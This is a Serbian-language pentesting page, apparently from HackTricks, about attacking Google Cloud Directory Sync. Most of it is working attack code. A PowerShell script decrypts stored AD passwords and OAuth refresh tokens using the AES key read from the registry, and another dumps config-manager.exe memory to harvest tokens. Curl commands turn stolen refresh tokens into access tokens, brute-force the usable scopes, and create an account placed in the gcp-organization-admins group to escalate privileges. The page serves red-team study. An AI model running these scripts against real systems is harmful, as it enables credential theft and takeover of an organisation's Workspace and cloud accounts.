# GCDS - Google Cloud Directory Sync

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## Osnovne informacije

Ovo je alat koji se može koristiti za **sinhronizaciju vaših korisnika i grupa iz aktivnog direktorijuma sa vašim Workspace** (a ne obrnuto u vreme pisanja ovog teksta).

Zanimljivo je jer je to alat koji će zahtevati **akreditive superkorisnika Workspace-a i privilegovanog AD korisnika**. Dakle, može biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.

> [!NOTE]
> Da biste izvršili **MitM** na **`config-manager.exe`** binarnu datoteku, jednostavno dodajte sledeću liniju u `config.manager.vmoptions` datoteku: **`-Dcom.sun.net.ssl.checkRevocation=false`**

> [!TIP]
> Imajte na umu da [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) može da detektuje **GCDS**, dobije informacije o konfiguraciji i **čak i lozinke i enkriptovane akreditive**.

Takođe imajte na umu da GCDS neće sinhronizovati lozinke iz AD u Workspace. Ako nešto, samo će generisati nasumične lozinke za novokreirane korisnike u Workspace-u, kao što možete videti na sledećoj slici:

<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>

### GCDS - Disk tokeni i AD akreditive

Binarna datoteka `config-manager.exe` (glavna GCDS binarna datoteka sa GUI) će čuvati konfigurirane akreditive aktivnog direktorijuma, osvežavajući token i pristup po defaultu u **xml datoteci** u folderu **`C:\Program Files\Google Cloud Directory Sync`** u datoteci pod nazivom **`Untitled-1.xml`** po defaultu. Iako bi takođe mogla biti sačuvana u `Documents` korisnika ili u **bilo kojem drugom folderu**.

Štaviše, registar **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** unutar ključa **`open.recent`** sadrži putanje do svih nedavno otvorenih konfiguracionih datoteka (xml). Tako da je moguće **proveriti to da ih pronađete**.

Najzanimljivije informacije unutar datoteke bi bile:
```xml
[...]
<loginMethod>OAUTH2</loginMethod>
<oAuth2RefreshToken>rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA==</oAuth2RefreshToken>
<oAuth2Scopes>
<scope>https://www.google.com/m8/feeds/</scope>
<scope>https://www.googleapis.com/auth/admin.directory.group</scope>
<scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
<scope>https://www.googleapis.com/auth/admin.directory.resource.calendar</scope>
<scope>https://www.googleapis.com/auth/admin.directory.user</scope>
<scope>https://www.googleapis.com/auth/admin.directory.userschema</scope>
<scope>https://www.googleapis.com/auth/apps.groups.settings</scope>
<scope>https://www.googleapis.com/auth/apps.licensing</scope>
<scope>https://www.googleapis.com/auth/plus.me</scope>
</oAuth2Scopes>
[...]
<hostname>192.168.10.23</hostname>
<port>389</port>
<basedn>dc=hacktricks,dc=local</basedn>
<authType>SIMPLE</authType>
<authUser>DOMAIN\domain-admin</authUser>
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
```
Napomena kako su **refresh** **token** i **password** korisnika **šifrovani** koristeći **AES CBC** sa nasumično generisanim ključem i IV koji su sačuvani u **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (gde god **`prefs`** Java biblioteka čuva podešavanja) u string ključevima **`/Encryption/Policy/V2.iv`** i **`/Encryption/Policy/V2.key`** sačuvanim u base64.

<details>

<summary>Powershell skripta za dešifrovanje refresh tokena i lozinke</summary>
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
$ivKeyName = "/Encryption/Policy/V2.iv"
$keyKeyName = "/Encryption/Policy/V2.key"

# Open the registry key
try {
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
if (-not $regKey) {
Throw "Registry key not found: HKCU\$regPath"
}
}
catch {
Write-Error "Failed to open registry key: $_"
exit
}

# Get Base64-encoded IV and Key from the registry
try {
$ivBase64 = $regKey.GetValue($ivKeyName)
$ivBase64 = $ivBase64 -replace '/', ''
$ivBase64 = $ivBase64 -replace '\\', '/'
if (-not $ivBase64) {
Throw "IV not found in registry"
}
$keyBase64 = $regKey.GetValue($keyKeyName)
$keyBase64 = $keyBase64 -replace '/', ''
$keyBase64 = $keyBase64 -replace '\\', '/'
if (-not $keyBase64) {
Throw "Key not found in registry"
}
}
catch {
Write-Error "Failed to read registry values: $_"
exit
}
$regKey.Close()


# Decode Base64 IV and Key
$ivBytes = [Convert]::FromBase64String($ivBase64)
$keyBytes = [Convert]::FromBase64String($keyBase64)

# Read XML content
$xmlContent = Get-Content -Path $xmlConfigPath -Raw

# Extract Base64-encoded encrypted values using regex
$refreshTokenMatch = [regex]::Match($xmlContent, "<oAuth2RefreshToken>(.*?)</oAuth2RefreshToken>")
$refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value

$encryptedPasswordMatch = [regex]::Match($xmlContent, "<authCredentialsEncrypted>(.*?)</authCredentialsEncrypted>")
$encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value

# Decode encrypted values from Base64
$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64)
$encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)

# Function to decrypt data using AES CBC
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.KeySize = 256
$aes.BlockSize = 128
$aes.Key = $keyBytes
$aes.IV = $ivBytes

$decryptor = $aes.CreateDecryptor()
$memoryStream = New-Object System.IO.MemoryStream
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
$cryptoStream.FlushFinalBlock()
$plaintextBytes = $memoryStream.ToArray()

$cryptoStream.Close()
$memoryStream.Close()

return $plaintextBytes
}

# Decrypt the values
$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes
$refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)

$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes
$decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)

# Output the decrypted values
Write-Host "Decrypted Refresh Token: $refreshToken"
Write-Host "Decrypted Password: $decryptedPassword"
```
</details>

> [!NOTE]
> Imajte na umu da je moguće proveriti ove informacije pregledanjem java koda **`DirSync.jar`** iz **`C:\Program Files\Google Cloud Directory Sync`** pretražujući string `exportkeys` (jer je to cli parametar koji binarni fajl `upgrade-config.exe` očekuje da bi izneo ključeve).

Umesto korišćenja powershell skripte, takođe je moguće koristiti binarni fajl **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** sa parametrom `-exportKeys` i dobiti **Key** i **IV** iz registra u heksadecimalnom formatu, a zatim jednostavno koristiti neki cyberchef sa AES/CBC i tim ključem i IV za dešifrovanje informacija.

### GCDS - Ispisivanje tokena iz memorije

Baš kao i sa GCPW, moguće je ispisati memoriju procesa `config-manager.exe` (to je naziv glavnog binarnog fajla GCDS sa GUI) i moći ćete da pronađete refresh i access tokene (ako su već generisani).\
Pretpostavljam da biste takođe mogli pronaći AD konfigurisane akreditive.

<details>

<summary>Ispisivanje procesa config-manager.exe i pretraga tokena</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force
```
</details>

### GCDS - Generisanje pristupnih tokena iz osvežavajućih tokena

Korišćenjem osvežavajućeg tokena moguće je generisati pristupne tokene koristeći ga i ID klijenta i tajnu klijenta navedene u sledećoj komandi:
```bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
```
### GCDS - Scopes

> [!NOTE]
> Imajte na umu da čak i kada imate refresh token, nije moguće zatražiti bilo koji scope za access token jer možete zatražiti samo **scope-ove koje podržava aplikacija u kojoj generišete access token**.
>
> Takođe, refresh token nije važeći u svakoj aplikaciji.

Po defaultu, GCSD neće imati pristup kao korisnik svim mogućim OAuth scope-ovima, pa možemo koristiti sledeći skript da pronađemo scope-ove koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:

<details>

<summary>Bash skript za brute-force scope-ove</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope           \r"
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```
</details>

I ovo je izlaz koji sam dobio u vreme pisanja:
```
https://www.googleapis.com/auth/admin.directory.group
https://www.googleapis.com/auth/admin.directory.orgunit
https://www.googleapis.com/auth/admin.directory.resource.calendar
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/admin.directory.userschema
https://www.googleapis.com/auth/apps.groups.settings
https://www.googleapis.com/auth/apps.licensing
https://www.googleapis.com/auth/contacts
```
#### Kreirajte korisnika i dodajte ga u grupu `gcp-organization-admins` da biste pokušali da eskalirate privilegije u GCP
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'

# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'

# You could also change the password of a user for example
```
> [!CAUTION]
> Nije moguće dodeliti novom korisniku Super Amin ulogu jer **refresh token nema dovoljno opsega** da dodeli potrebne privilegije.

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